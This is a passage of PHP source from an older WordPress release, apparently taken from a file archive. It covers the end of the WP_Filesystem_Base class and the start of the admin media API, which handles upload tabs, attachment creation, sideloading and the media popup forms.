(($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); // Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } /** * Convert *nix-style file permissions to a octal number. * * Converts '-rw-r--r--' to 0644 * From "info at rvgate dot nl"'s comment on the PHP documentation for chmod() * * @link http://docs.php.net/manual/en/function.chmod.php#49614 * * @access public * @since 2.5.0 * * @param string $mode string The *nix-style file permission. * @return int octal representation */ function getnumchmodfromh( $mode ) { $realmode = ''; $legal = array('', 'w', 'r', 'x', '-'); $attarray = preg_split('//', $mode); for ($i=0; $i < count($attarray); $i++) if ($key = array_search($attarray[$i], $legal)) $realmode .= $legal[$key]; $mode = str_pad($realmode, 10, '-', STR_PAD_LEFT); $trans = array('-'=>'0', 'r'=>'4', 'w'=>'2', 'x'=>'1'); $mode = strtr($mode,$trans); $newmode = $mode[0]; $newmode .= $mode[1] + $mode[2] + $mode[3]; $newmode .= $mode[4] + $mode[5] + $mode[6]; $newmode .= $mode[7] + $mode[8] + $mode[9]; return $newmode; } /** * Determine if the string provided contains binary characters. * * @access private * @since 2.7.0 * * @param string $text String to test against. * @return bool true if string is binary, false otherwise. */ function is_binary( $text ) { return (bool) preg_match( '|[^\x20-\x7E]|', $text ); // chr(32)..chr(127) } /** * Change the ownership of a file / folder. * * Default behavior is to do nothing, override this in your subclass, if desired. * * @since 2.5.0 * * @param string $file Path to the file. * @param mixed $owner A user name or number. * @param bool $recursive Optional. If set True changes file owner recursivly. Defaults to False. * @return bool Returns true on success or false on failure. */ function chown( $file, $owner, $recursive = false ) { return false; } /** * Connect filesystem. * * @since 2.5.0 * * @return bool True on success or false on failure (always true for WP_Filesystem_Direct). */ function connect() { return true; } /** * Read entire file into a string. * * @since 2.5.0 * * @param string $file Name of the file to read. * @return string|bool Returns the read data or false on failure. */ function get_contents( $file ) { return false; } /** * Read entire file into an array. * * @since 2.5.0 * * @param string $file Path to the file. * @return array|bool the file contents in an array or false on failure. */ function get_contents_array( $file ) { return false; } /** * Write a string to a file. * * @since 2.5.0 * * @param string $file Remote path to the file where to write the data. * @param string $contents The data to write. * @param int $mode Optional. The file permissions as octal number, usually 0644. * @return bool False on failure. */ function put_contents( $file, $contents, $mode = false ) { return false; } /** * Get the current working directory. * * @since 2.5.0 * * @return string|bool The current working directory on success, or false on failure. */ function cwd() { return false; } /** * Change current directory. * * @since 2.5.0 * * @param string $dir The new current directory. * @return bool Returns true on success or false on failure. */ function chdir( $dir ) { return false; } /** * Change the file group. * * @since 2.5.0 * * @param string $file Path to the file. * @param mixed $group A group name or number. * @param bool $recursive Optional. If set True changes file group recursively. Defaults to False. * @return bool Returns true on success or false on failure. */ function chgrp( $file, $group, $recursive = false ) { return false; } /** * Change filesystem permissions. * * @since 2.5.0 * * @param string $file Path to the file. * @param int $mode Optional. The permissions as octal number, usually 0644 for files, 0755 for dirs. * @param bool $recursive Optional. If set True changes file group recursively. Defaults to False. * @return bool Returns true on success or false on failure. */ function chmod( $file, $mode = false, $recursive = false ) { return false; } /** * Get the file owner. * * @since 2.5.0 * * @param string $file Path to the file. * @return string|bool Username of the user or false on error. */ function owner( $file ) { return false; } /** * Get the file's group. * * @since 2.5.0 * * @param string $file Path to the file. * @return string|bool The group or false on error. */ function group( $file ) { return false; } /** * Copy a file. * * @since 2.5.0 * * @param string $source Path to the source file. * @param string $destination Path to the destination file. * @param bool $overwrite Optional. Whether to overwrite the destination file if it exists. * Default false. * @param int $mode Optional. The permissions as octal number, usually 0644 for files, 0755 for dirs. * Default false. * @return bool True if file copied successfully, False otherwise. */ function copy( $source, $destination, $overwrite = false, $mode = false ) { return false; } /** * Move a file. * * @since 2.5.0 * * @param string $source Path to the source file. * @param string $destination Path to the destination file. * @param bool $overwrite Optional. Whether to overwrite the destination file if it exists. * Default false. * @return bool True if file copied successfully, False otherwise. */ function move( $source, $destination, $overwrite = false ) { return false; } /** * Delete a file or directory. * * @since 2.5.0 * * @param string $file Path to the file. * @param bool $recursive Optional. If set True changes file group recursively. Defaults to False. * Default false. * @param bool $type Type of resource. 'f' for file, 'd' for directory. * Default false. * @return bool True if the file or directory was deleted, false on failure. */ function delete( $file, $recursive = false, $type = false ) { return false; } /** * Check if a file or directory exists. * * @since 2.5.0 * * @param string $file Path to file/directory. * @return bool Whether $file exists or not. */ function exists( $file ) { return false; } /** * Check if resource is a file. * * @since 2.5.0 * * @param string $file File path. * @return bool Whether $file is a file. */ function is_file( $file ) { return false; } /** * Check if resource is a directory. * * @since 2.5.0 * * @param string $path Directory path. * @return bool Whether $path is a directory. */ function is_dir( $path ) { return false; } /** * Check if a file is readable. * * @since 2.5.0 * * @param string $file Path to file. * @return bool Whether $file is readable. */ function is_readable( $file ) { return false; } /** * Check if a file or directory is writable. * * @since 2.5.0 * * @param string $path Path to file/directory. * @return bool Whether $file is writable. */ function is_writable( $file ) { return false; } /** * Gets the file's last access time. * * @since 2.5.0 * * @param string $file Path to file. * @return int Unix timestamp representing last access time. */ function atime( $file ) { return false; } /** * Gets the file modification time. * * @since 2.5.0 * * @param string $file Path to file. * @return int Unix timestamp representing modification time. */ function mtime( $file ) { return false; } /** * Gets the file size (in bytes). * * @since 2.5.0 * * @param string $file Path to file. * @return int Size of the file in bytes. */ function size( $file ) { return false; } /** * Set the access and modification times of a file. * * Note: If $file doesn't exist, it will be created. * * @since 2.5.0 * * @param string $file Path to file. * @param int $time Optional. Modified time to set for file. * Default 0. * @param int $atime Optional. Access time to set for file. * Default 0. * @return bool Whether operation was successful or not. */ function touch( $file, $time = 0, $atime = 0 ) { return false; } /** * Create a directory. * * @since 2.5.0 * * @param string $path Path for new directory. * @param mixed $chmod Optional. The permissions as octal number, (or False to skip chmod) * Default false. * @param mixed $chown Optional. A user name or number (or False to skip chown) * Default false. * @param mixed $chgrp Optional. A group name or number (or False to skip chgrp). * Default false. * @return bool False if directory cannot be created, true otherwise. */ function mkdir( $path, $chmod = false, $chown = false, $chgrp = false ) { return false; } /** * Delete a directory. * * @since 2.5.0 * * @param string $path Path to directory. * @param bool $recursive Optional. Whether to recursively remove files/directories. * Default false. * @return bool Whether directory is deleted successfully or not. */ function rmdir( $path, $recursive = false ) { return false; } /** * Get details for files in a directory or a specific file. * * @since 2.5.0 * * @param string $path Path to directory or file. * @param bool $include_hidden Optional. Whether to include details of hidden ("." prefixed) files. * Default true. * @param bool $recursive Optional. Whether to recursively include file details in nested directories. * Default false. * @return array|bool { * Array of files. False if unable to list directory contents. * * @type string 'name' Name of the file/directory. * @type string 'perms' *nix representation of permissions. * @type int 'permsn' Octal representation of permissions. * @type string 'owner' Owner name or ID. * @type int 'size' Size of file in bytes. * @type int 'lastmodunix' Last modified unix timestamp. * @type mixed 'lastmod' Last modified month (3 letter) and day (without leading 0). * @type int 'time' Last modified time. * @type string 'type' Type of resource. 'f' for file, 'd' for directory. * @type mixed 'files' If a directory and $recursive is true, contains another array of files. * } */ function dirlist( $path, $include_hidden = true, $recursive = false ) { return false; } } // WP_Filesystem_Base media.php000077700000276205151514577750006400 0ustar00<?php /** * WordPress Administration Media API. * * @package WordPress * @subpackage Administration */ /** * Defines the default media upload tabs * * @since 2.5.0 * * @return array default tabs */ function media_upload_tabs() { $_default_tabs = array( 'type' => __('From Computer'), // handler action suffix => tab text 'type_url' => __('From URL'), 'gallery' => __('Gallery'), 'library' => __('Media Library') ); /** * Filter the available tabs in the legacy (pre-3.5.0) media popup. * * @since 2.5.0 * * @param array $_default_tabs An array of media tabs. */ return apply_filters( 'media_upload_tabs', $_default_tabs ); } /** * Adds the gallery tab back to the tabs array if post has image attachments * * @since 2.5.0 * * @param array $tabs * @return array $tabs with gallery if post has image attachment */ function update_gallery_tab($tabs) { global $wpdb; if ( !isset($_REQUEST['post_id']) ) { unset($tabs['gallery']); return $tabs; } $post_id = intval($_REQUEST['post_id']); if ( $post_id ) $attachments = intval( $wpdb->get_var( $wpdb->prepare( "SELECT count(*) FROM $wpdb->posts WHERE post_type = 'attachment' AND post_status != 'trash' AND post_parent = %d", $post_id ) ) ); if ( empty($attachments) ) { unset($tabs['gallery']); return $tabs; } $tabs['gallery'] = sprintf(__('Gallery (%s)'), "<span id='attachments-count'>$attachments</span>"); return $tabs; } add_filter('media_upload_tabs', 'update_gallery_tab'); /** * {@internal Missing Short Description}} * * @since 2.5.0 */ function the_media_upload_tabs() { global $redir_tab; $tabs = media_upload_tabs(); $default = 'type'; if ( !empty($tabs) ) { echo "<ul id='sidemenu'>\n"; if ( isset($redir_tab) && array_key_exists($redir_tab, $tabs) ) { $current = $redir_tab; } elseif ( isset($_GET['tab']) && array_key_exists($_GET['tab'], $tabs) ) { $current = $_GET['tab']; } else { /** This filter is documented in wp-admin/media-upload.php */ $current = apply_filters( 'media_upload_default_tab', $default ); } foreach ( $tabs as $callback => $text ) { $class = ''; if ( $current == $callback ) $class = " class='current'"; $href = add_query_arg(array('tab' => $callback, 's' => false, 'paged' => false, 'post_mime_type' => false, 'm' => false)); $link = "<a href='" . esc_url($href) . "'$class>$text</a>"; echo "\t<li id='" . esc_attr("tab-$callback") . "'>$link</li>\n"; } echo "</ul>\n"; } } /** * {@internal Missing Short Description}} * * @since 2.5.0 * * @param integer $id image attachment id * @param string $caption image caption * @param string $alt image alt attribute * @param string $title image title attribute * @param string $align image css alignment property * @param string $url image src url * @param string|bool $rel image rel attribute * @param string $size image size (thumbnail, medium, large, full or added with add_image_size() ) * @return string the html to insert into editor */ function get_image_send_to_editor($id, $caption, $title, $align, $url='', $rel = false, $size='medium', $alt = '') { $html = get_image_tag($id, $alt, '', $align, $size); $rel = $rel ? ' rel="attachment wp-att-' . esc_attr($id).'"' : ''; if ( $url ) $html = '<a href="' . esc_attr($url) . "\"$rel>$html</a>"; /** * Filter the image HTML markup to send to the editor. * * @since 2.5.0 * * @param string $html The image HTML markup to send. * @param int $id The attachment id. * @param string $caption The image caption. * @param string $title The image title. * @param string $align The image alignment. * @param string $url The image source URL. * @param string $size The image size. * @param string $alt The image alternative, or alt, text. */ $html = apply_filters( 'image_send_to_editor', $html, $id, $caption, $title, $align, $url, $size, $alt ); return $html; } /** * Adds image shortcode with caption to editor * * @since 2.6.0 * * @param string $html * @param integer $id * @param string $caption image caption * @param string $alt image alt attribute * @param string $title image title attribute * @param string $align image css alignment property * @param string $url image src url * @param string $size image size (thumbnail, medium, large, full or added with add_image_size() ) * @return string */ function image_add_caption( $html, $id, $caption, $title, $align, $url, $size, $alt = '' ) { /** * Filter whether to disable captions. * * Prevents image captions from being appended to image HTML when inserted into the editor. * * @since 2.6.0 * * @param bool $bool Whether to disable appending captions. Returning true to the filter * will disable captions. Default empty string. */ if ( empty($caption) || apply_filters( 'disable_captions', '' ) ) return $html; $id = ( 0 < (int) $id ) ? 'attachment_' . $id : ''; if ( ! preg_match( '/width=["\']([0-9]+)/', $html, $matches ) ) return $html; $width = $matches[1]; $caption = str_replace( array("\r\n", "\r"), "\n", $caption); $caption = preg_replace_callback( '/<[a-zA-Z0-9]+(?: [^<>]+>)*/', '_cleanup_image_add_caption', $caption ); // convert any remaining line breaks to <br> $caption = preg_replace( '/[ \n\t]*\n[ \t]*/', '<br />', $caption ); $html = preg_replace( '/(class=["\'][^\'"]*)align(none|left|right|center)\s?/', '$1', $html ); if ( empty($align) ) $align = 'none'; $shcode = '[caption id="' . $id . '" align="align' . $align . '" width="' . $width . '"]' . $html . ' ' . $caption . '[/caption]'; /** * Filter the image HTML markup including the caption shortcode. * * @since 2.6.0 * * @param string $shcode The image HTML markup with caption shortcode. * @param string $html The image HTML markup. */ return apply_filters( 'image_add_caption_shortcode', $shcode, $html ); } add_filter( 'image_send_to_editor', 'image_add_caption', 20, 8 ); /** * Private preg_replace callback used in image_add_caption() * * @access private * @since 3.4.0 */ function _cleanup_image_add_caption( $matches ) { // remove any line breaks from inside the tags return preg_replace( '/[\r\n\t]+/', ' ', $matches[0] ); } /** * Adds image html to editor * * @since 2.5.0 * * @param string $html */ function media_send_to_editor($html) { ?> <script type="text/javascript"> /* <![CDATA[ */ var win = window.dialogArguments || opener || parent || top; win.send_to_editor('<?php echo addslashes($html); ?>'); /* ]]> */ </script> <?php exit; } /** * This handles the file upload POST itself, creating the attachment post. * * @since 2.5.0 * * @param string $file_id Index into the {@link $_FILES} array of the upload * @param int $post_id The post ID the media is associated with * @param array $post_data allows you to overwrite some of the attachment * @param array $overrides allows you to override the {@link wp_handle_upload()} behavior * @return int|WP_Error ID of the attachment or a WP_Error object on failure. */ function media_handle_upload($file_id, $post_id, $post_data = array(), $overrides = array( 'test_form' => false )) { $time = current_time('mysql'); if ( $post = get_post($post_id) ) { if ( substr( $post->post_date, 0, 4 ) > 0 ) $time = $post->post_date; } $name = $_FILES[$file_id]['name']; $file = wp_handle_upload($_FILES[$file_id], $overrides, $time); if ( isset($file['error']) ) return new WP_Error( 'upload_error', $file['error'] ); $name_parts = pathinfo($name); $name = trim( substr( $name, 0, -(1 + strlen($name_parts['extension'])) ) ); $url = $file['url']; $type = $file['type']; $file = $file['file']; $title = sanitize_text_field( $name ); $content = ''; if ( preg_match( '#^audio#', $type ) ) { $meta = wp_read_audio_metadata( $file ); if ( ! empty( $meta['title'] ) ) $title = $meta['title']; $content = ''; if ( ! empty( $title ) ) { if ( ! empty( $meta['album'] ) && ! empty( $meta['artist'] ) ) { /* translators: 1: audio track title, 2: album title, 3: artist name */ $content .= sprintf( __( '"%1$s" from %2$s by %3$s.' ), $title, $meta['album'], $meta['artist'] ); } else if ( ! empty( $meta['album'] ) ) { /* translators: 1: audio track title, 2: album title */ $content .= sprintf( __( '"%1$s" from %2$s.' ), $title, $meta['album'] ); } else if ( ! empty( $meta['artist'] ) ) { /* translators: 1: audio track title, 2: artist name */ $content .= sprintf( __( '"%1$s" by %2$s.' ), $title, $meta['artist'] ); } else { $content .= sprintf( __( '"%s".' ), $title ); } } else if ( ! empty( $meta['album'] ) ) { if ( ! empty( $meta['artist'] ) ) { /* translators: 1: audio album title, 2: artist name */ $content .= sprintf( __( '%1$s by %2$s.' ), $meta['album'], $meta['artist'] ); } else { $content .= $meta['album'] . '.'; } } else if ( ! empty( $meta['artist'] ) ) { $content .= $meta['artist'] . '.'; } if ( ! empty( $meta['year'] ) ) $content .= ' ' . sprintf( __( 'Released: %d.' ), $meta['year'] ); if ( ! empty( $meta['track_number'] ) ) { $track_number = explode( '/', $meta['track_number'] ); if ( isset( $track_number[1] ) ) $content .= ' ' . sprintf( __( 'Track %1$s of %2$s.' ), number_format_i18n( $track_number[0] ), number_format_i18n( $track_number[1] ) ); else $content .= ' ' . sprintf( __( 'Track %1$s.' ), number_format_i18n( $track_number[0] ) ); } if ( ! empty( $meta['genre'] ) ) $content .= ' ' . sprintf( __( 'Genre: %s.' ), $meta['genre'] ); // use image exif/iptc data for title and caption defaults if possible } elseif ( $image_meta = @wp_read_image_metadata( $file ) ) { if ( trim( $image_meta['title'] ) && ! is_numeric( sanitize_title( $image_meta['title'] ) ) ) $title = $image_meta['title']; if ( trim( $image_meta['caption'] ) ) $content = $image_meta['caption']; } // Construct the attachment array $attachment = array_merge( array( 'post_mime_type' => $type, 'guid' => $url, 'post_parent' => $post_id, 'post_title' => $title, 'post_content' => $content, ), $post_data ); // This should never be set as it would then overwrite an existing attachment. if ( isset( $attachment['ID'] ) ) unset( $attachment['ID'] ); // Save the data $id = wp_insert_attachment($attachment, $file, $post_id); if ( !is_wp_error($id) ) { wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $file ) ); } return $id; } /** * This handles a sideloaded file in the same way as an uploaded file is handled by {@link media_handle_upload()} * * @since 2.6.0 * * @param array $file_array Array similar to a {@link $_FILES} upload array * @param int $post_id The post ID the media is associated with * @param string $desc Description of the sideloaded file * @param array $post_data allows you to overwrite some of the attachment * @return int|object The ID of the attachment or a WP_Error on failure */ function media_handle_sideload($file_array, $post_id, $desc = null, $post_data = array()) { $overrides = array('test_form'=>false); $time = current_time( 'mysql' ); if ( $post = get_post( $post_id ) ) { if ( substr( $post->post_date, 0, 4 ) > 0 ) $time = $post->post_date; } $file = wp_handle_sideload( $file_array, $overrides, $time ); if ( isset($file['error']) ) return new WP_Error( 'upload_error', $file['error'] ); $url = $file['url']; $type = $file['type']; $file = $file['file']; $title = preg_replace('/\.[^.]+$/', '', basename($file)); $content = ''; // use image exif/iptc data for title and caption defaults if possible if ( $image_meta = @wp_read_image_metadata($file) ) { if ( trim( $image_meta['title'] ) && ! is_numeric( sanitize_title( $image_meta['title'] ) ) ) $title = $image_meta['title']; if ( trim( $image_meta['caption'] ) ) $content = $image_meta['caption']; } if ( isset( $desc ) ) $title = $desc; // Construct the attachment array $attachment = array_merge( array( 'post_mime_type' => $type, 'guid' => $url, 'post_parent' => $post_id, 'post_title' => $title, 'post_content' => $content, ), $post_data ); // This should never be set as it would then overwrite an existing attachment. if ( isset( $attachment['ID'] ) ) unset( $attachment['ID'] ); // Save the attachment metadata $id = wp_insert_attachment($attachment, $file, $post_id); if ( !is_wp_error($id) ) wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $file ) ); return $id; } /** * Adds the iframe to display content for the media upload page * * @since 2.5.0 * * @param array $content_func */ function wp_iframe($content_func /* ... */) { _wp_admin_html_begin(); ?> <title><?php bloginfo('name') ?> › <?php _e('Uploads'); ?> — <?php _e('WordPress'); ?></title> <?php wp_enqueue_style( 'colors' ); // Check callback name for 'media' if ( ( is_array( $content_func ) && ! empty( $content_func[1] ) && 0 === strpos( (string) $content_func[1], 'media' ) ) || ( ! is_array( $content_func ) && 0 === strpos( $content_func, 'media' ) ) ) wp_enqueue_style( 'media' ); wp_enqueue_style( 'ie' ); ?> <script type="text/javascript"> //<![CDATA[ addLoadEvent = function(func){if(typeof jQuery!="undefined")jQuery(document).ready(func);else if(typeof wpOnload!='function'){wpOnload=func;}else{var oldonload=wpOnload;wpOnload=function(){oldonload();func();}}}; var ajaxurl = '<?php echo esc_js( admin_url( 'admin-ajax.php', 'relative' ) ); ?>', pagenow = 'media-upload-popup', adminpage = 'media-upload-popup', isRtl = <?php echo (int) is_rtl(); ?>; //]]> </script> <?php /** This action is documented in wp-admin/admin-header.php */ do_action( 'admin_enqueue_scripts', 'media-upload-popup' ); /** * Fires when admin styles enqueued for the legacy (pre-3.5.0) media upload popup are printed. * * @since 2.9.0 */ do_action( 'admin_print_styles-media-upload-popup' ); /** This action is documented in wp-admin/admin-header.php */ do_action( 'admin_print_styles' ); /** * Fires when admin scripts enqueued for the legacy (pre-3.5.0) media upload popup are printed. * * @since 2.9.0 */ do_action( 'admin_print_scripts-media-upload-popup' ); /** This action is documented in wp-admin/admin-header.php */ do_action( 'admin_print_scripts' ); /** * Fires when scripts enqueued for the admin header for the legacy (pre-3.5.0) * media upload popup are printed. * * @since 2.9.0 */ do_action( 'admin_head-media-upload-popup' ); /** This action is documented in wp-admin/admin-header.php */ do_action( 'admin_head' ); if ( is_string( $content_func ) ) { /** * Fires in the admin header for each specific form tab in the legacy * (pre-3.5.0) media upload popup. * * The dynamic portion of the hook, $content_func, refers to the form * callback for the media upload type. Possible values include * 'media_upload_type_form', 'media_upload_type_url_form', and * 'media_upload_library_form'. * * @since 2.5.0 */ do_action( "admin_head_{$content_func}" ); } ?> </head> <body<?php if ( isset($GLOBALS['body_id']) ) echo ' id="' . $GLOBALS['body_id'] . '"'; ?> class="wp-core-ui no-js"> <script type="text/javascript"> document.body.className = document.body.className.replace('no-js', 'js'); </script> <?php $args = func_get_args(); $args = array_slice($args, 1); call_user_func_array($content_func, $args); /** This action is documented in wp-admin/admin-footer.php */ do_action( 'admin_print_footer_scripts' ); ?> <script type="text/javascript">if(typeof wpOnload=='function')wpOnload();</script> </body> </html> <?php } /** * Adds the media button to the editor * * @since 2.5.0 * * @param string $editor_id */ function media_buttons($editor_id = 'content') { $post = get_post(); if ( ! $post && ! empty( $GLOBALS['post_ID'] ) ) $post = $GLOBALS['post_ID']; wp_enqueue_media( array( 'post' => $post ) ); $img = '<span class="wp-media-buttons-icon"></span> '; echo '<a href="#" id="insert-media-button" class="button insert-media add_media" data-editor="' . esc_attr( $editor_id ) . '" title="' . esc_attr__( 'Add Media' ) . '">' . $img . __( 'Add Media' ) . '</a>'; /** * Filter the legacy (pre-3.5.0) media buttons. * * @since 2.5.0 * @deprecated 3.5.0 Use 'media_buttons' action instead. * * @param string $string Media buttons context. Default empty. */ $legacy_filter = apply_filters( 'media_buttons_context', '' ); if ( $legacy_filter ) { // #WP22559. Close <a> if a plugin started by closing <a> to open their own <a> tag. if ( 0 === stripos( trim( $legacy_filter ), '</a>' ) ) $legacy_filter .= '</a>'; echo $legacy_filter; } } add_action( 'media_buttons', 'media_buttons' ); function get_upload_iframe_src( $type = null, $post_id = null, $tab = null ) { global $post_ID; if ( empty( $post_id ) ) $post_id = $post_ID; $upload_iframe_src = add_query_arg( 'post_id', (int) $post_id, admin_url('media-upload.php') ); if ( $type && 'media' != $type ) $upload_iframe_src = add_query_arg('type', $type, $upload_iframe_src); if ( ! empty( $tab ) ) $upload_iframe_src = add_query_arg('tab', $tab, $upload_iframe_src); /** * Filter the upload iframe source URL for a specific media type. * * The dynamic portion of the hook name, $type, refers to the type * of media uploaded. * * @since 3.0.0 * * @param string $upload_iframe_src The upload iframe source URL by type. */ $upload_iframe_src = apply_filters( $type . '_upload_iframe_src', $upload_iframe_src ); return add_query_arg('TB_iframe', true, $upload_iframe_src); } /** * {@internal Missing Short Description}} * * @since 2.5.0 * * @return mixed void|object WP_Error on failure */ function media_upload_form_handler() { check_admin_referer('media-form'); $errors = null; if ( isset($_POST['send']) ) { $keys = array_keys($_POST['send']); $send_id = (int) array_shift($keys); } if ( !empty($_POST['attachments']) ) foreach ( $_POST['attachments'] as $attachment_id => $attachment ) { $post = $_post = get_post($attachment_id, ARRAY_A); if ( !current_user_can( 'edit_post', $attachment_id ) ) continue; if ( isset($attachment['post_content']) ) $post['post_content'] = $attachment['post_content']; if ( isset($attachment['post_title']) ) $post['post_title'] = $attachment['post_title']; if ( isset($attachment['post_excerpt']) ) $post['post_excerpt'] = $attachment['post_excerpt']; if ( isset($attachment['menu_order']) ) $post['menu_order'] = $attachment['menu_order']; if ( isset($send_id) && $attachment_id == $send_id ) { if ( isset($attachment['post_parent']) ) $post['post_parent'] = $attachment['post_parent']; } /** * Filter the attachment fields to be saved. * * @since 2.5.0 * * @see wp_get_attachment_metadata() * * @param WP_Post $post The WP_Post object. * @param array $attachment An array of attachment metadata. */ $post = apply_filters( 'attachment_fields_to_save', $post, $attachment ); if ( isset($attachment['image_alt']) ) { $image_alt = wp_unslash( $attachment['image_alt'] ); if ( $image_alt != get_post_meta($attachment_id, '_wp_attachment_image_alt', true) ) { $image_alt = wp_strip_all_tags( $image_alt, true ); // update_meta expects slashed update_post_meta( $attachment_id, '_wp_attachment_image_alt', wp_slash( $image_alt ) ); } } if ( isset($post['errors']) ) { $errors[$attachment_id] = $post['errors']; unset($post['errors']); } if ( $post != $_post ) wp_update_post($post); foreach ( get_attachment_taxonomies($post) as $t ) { if ( isset($attachment[$t]) ) wp_set_object_terms($attachment_id, array_map('trim', preg_split('/,+/', $attachment[$t])), $t, false); } } if ( isset($_POST['insert-gallery']) || isset($_POST['update-gallery']) ) { ?> <script type="text/javascript"> /* <![CDATA[ */ var win = window.dialogArguments || opener || parent || top; win.tb_remove(); /* ]]> */ </script> <?php exit; } if ( isset($send_id) ) { $attachment = wp_unslash( $_POST['attachments'][$send_id] ); $html = isset( $attachment['post_title'] ) ? $attachment['post_title'] : ''; if ( !empty($attachment['url']) ) { $rel = ''; if ( strpos($attachment['url'], 'attachment_id') || get_attachment_link($send_id) == $attachment['url'] ) $rel = " rel='attachment wp-att-" . esc_attr($send_id) . "'"; $html = "<a href='{$attachment['url']}'$rel>$html</a>"; } /** * Filter the HTML markup for a media item sent to the editor. * * @since 2.5.0 * * @see wp_get_attachment_metadata() * * @param string $html HTML markup for a media item sent to the editor. * @param int $send_id The first key from the $_POST['send'] data. * @param array $attachment Array of attachment metadata. */ $html = apply_filters( 'media_send_to_editor', $html, $send_id, $attachment ); return media_send_to_editor($html); } return $errors; } /** * {@internal Missing Short Description}} * * @since 2.5.0 * * @return mixed */ function wp_media_upload_handler() { $errors = array(); $id = 0; if ( isset($_POST['html-upload']) && !empty($_FILES) ) { check_admin_referer('media-form'); // Upload File button was clicked $id = media_handle_upload('async-upload', $_REQUEST['post_id']); unset($_FILES); if ( is_wp_error($id) ) { $errors['upload_error'] = $id; $id = false; } } if ( !empty($_POST['insertonlybutton']) ) { $src = $_POST['src']; if ( !empty($src) && !strpos($src, '://') ) $src = "http://$src"; if ( isset( $_POST['media_type'] ) && 'image' != $_POST['media_type'] ) { $title = esc_html( wp_unslash( $_POST['title'] ) ); if ( empty( $title ) ) $title = esc_html( basename( $src ) ); if ( $title && $src ) $html = "<a href='" . esc_url($src) . "'>$title</a>"; $type = 'file'; if ( ( $ext = preg_replace( '/^.+?\.([^.]+)$/', '$1', $src ) ) && ( $ext_type = wp_ext2type( $ext ) ) && ( 'audio' == $ext_type || 'video' == $ext_type ) ) $type = $ext_type; /** * Filter the URL sent to the editor for a specific media type. * * The dynamic portion of the hook name, $type, refers to the type * of media being sent. * * @since 3.3.0 * * @param string $html HTML markup sent to the editor. * @param string $src Media source URL. * @param string $title Media title. */ $html = apply_filters( $type . '_send_to_editor_url', $html, esc_url_raw( $src ), $title ); } else { $align = ''; $alt = esc_attr( wp_unslash( $_POST['alt'] ) ); if ( isset($_POST['align']) ) { $align = esc_attr( wp_unslash( $_POST['align'] ) ); $class = " class='align$align'"; } if ( !empty($src) ) $html = "<img src='" . esc_url($src) . "' alt='$alt'$class />"; /** * Filter the image URL sent to the editor. * * @since 2.8.0 * * @param string $html HTML markup sent to the editor for an image. * @param string $src Image source URL. * @param string $alt Image alternate, or alt, text. * @param string $align The image alignment. Default 'alignnone'. Possible values include * 'alignleft', 'aligncenter', 'alignright', 'alignnone'. */ $html = apply_filters( 'image_send_to_editor_url', $html, esc_url_raw( $src ), $alt, $align ); } return media_send_to_editor($html); } if ( !empty($_POST) ) { $return = media_upload_form_handler(); if ( is_string($return) ) return $return; if ( is_array($return) ) $errors = $return; } if ( isset($_POST['save']) ) { $errors['upload_notice'] = __('Saved.'); return media_upload_gallery(); } if ( isset($_GET['tab']) && $_GET['tab'] == 'type_url' ) { $type = 'image'; if ( isset( $_GET['type'] ) && in_array( $_GET['type'], array( 'video', 'audio', 'file' ) ) ) $type = $_GET['type']; return wp_iframe( 'media_upload_type_url_form', $type, $errors, $id ); } return wp_iframe( 'media_upload_type_form', 'image', $errors, $id ); } /** * Download an image from the specified URL and attach it to a post. * * @since 2.6.0 * * @param string $file The URL of the image to download * @param int $post_id The post ID the media is to be associated with * @param string $desc Optional. Description of the image * @return string|WP_Error Populated HTML img tag on success */ function media_sideload_image($file, $post_id, $desc = null) { if ( ! empty($file) ) { // Download file to temp location $tmp = download_url( $file ); // Set variables for storage // fix file filename for query strings preg_match( '/[^\?]+\.(jpe?g|jpe|gif|png)\b/i', $file, $matches ); $file_array['name'] = basename($matches[0]); $file_array['tmp_name'] = $tmp; // If error storing temporarily, unlink if ( is_wp_error( $tmp ) ) { @unlink($file_array['tmp_name']); $file_array['tmp_name'] = ''; } // do the validation and storage stuff $id = media_handle_sideload( $file_array, $post_id, $desc ); // If error storing permanently, unlink if ( is_wp_error($id) ) { @unlink($file_array['tmp_name']); return $id; } $src = wp_get_attachment_url( $id ); } // Finally check to make sure the file has been saved, then return the html if ( ! empty($src) ) { $alt = isset($desc) ? esc_attr($desc) : ''; $html = "<img src='$src' alt='$alt' />"; return $html; } } /** * {@internal Missing Short Description}} * * @since 2.5.0 * * @return unknown */ function media_upload_gallery() { $errors = array(); if ( !empty($_POST) ) { $return = media_upload_form_handler(); if ( is_string($return) ) return $return; if ( is_array($return) ) $errors = $return; } wp_enqueue_script('admin-gallery'); return wp_iframe( 'media_upload_gallery_form', $errors ); } /** * {@internal Missing Short Description}} * * @since 2.5.0 * * @return unknown */ function media_upload_library() { $errors = array(); if ( !empty($_POST) ) { $return = media_upload_form_handler(); if ( is_string($return) ) return $return; if ( is_array($return) ) $errors = $return; } return wp_iframe( 'media_upload_library_form', $errors ); } /** * Retrieve HTML for the image alignment radio buttons with the specified one checked. * * @since 2.7.0 * * @param object $post * @param string $checked * @return string */ function image_align_input_fields( $post, $checked = '' ) { if ( empty($checked) ) $checked = get_user_setting('align', 'none'); $alignments = array('none' => __('None'), 'left' => __('Left'), 'center' => __('Center'), 'right' => __('Right')); if ( !array_key_exists( (string) $checked, $alignments ) ) $checked = 'none'; $out = array(); foreach ( $alignments as $name => $label ) { $name = esc_attr($name); $out[] = "<input type='radio' name='attachments[{$post->ID}][align]' id='image-align-{$name}-{$post->ID}' value='$name'". ( $checked == $name ? " checked='checked'" : "" ) . " /><label for='image-align-{$name}-{$post->ID}' class='align image-align-{$name}-label'>$label</label>"; } return join("\n", $out); } /** * Retrieve HTML for the size radio buttons with the specified one checked. * * @since 2.7.0 * * @param object $post * @param bool|string $check * @return array */ function image_size_input_fields( $post, $check = '' ) { /** * Filter the names and labels of the default image sizes. * * @since 3.3.0 * * @param array $size_names Array of image sizes and their names. Default values * include 'Thumbnail', 'Medium', 'Large', 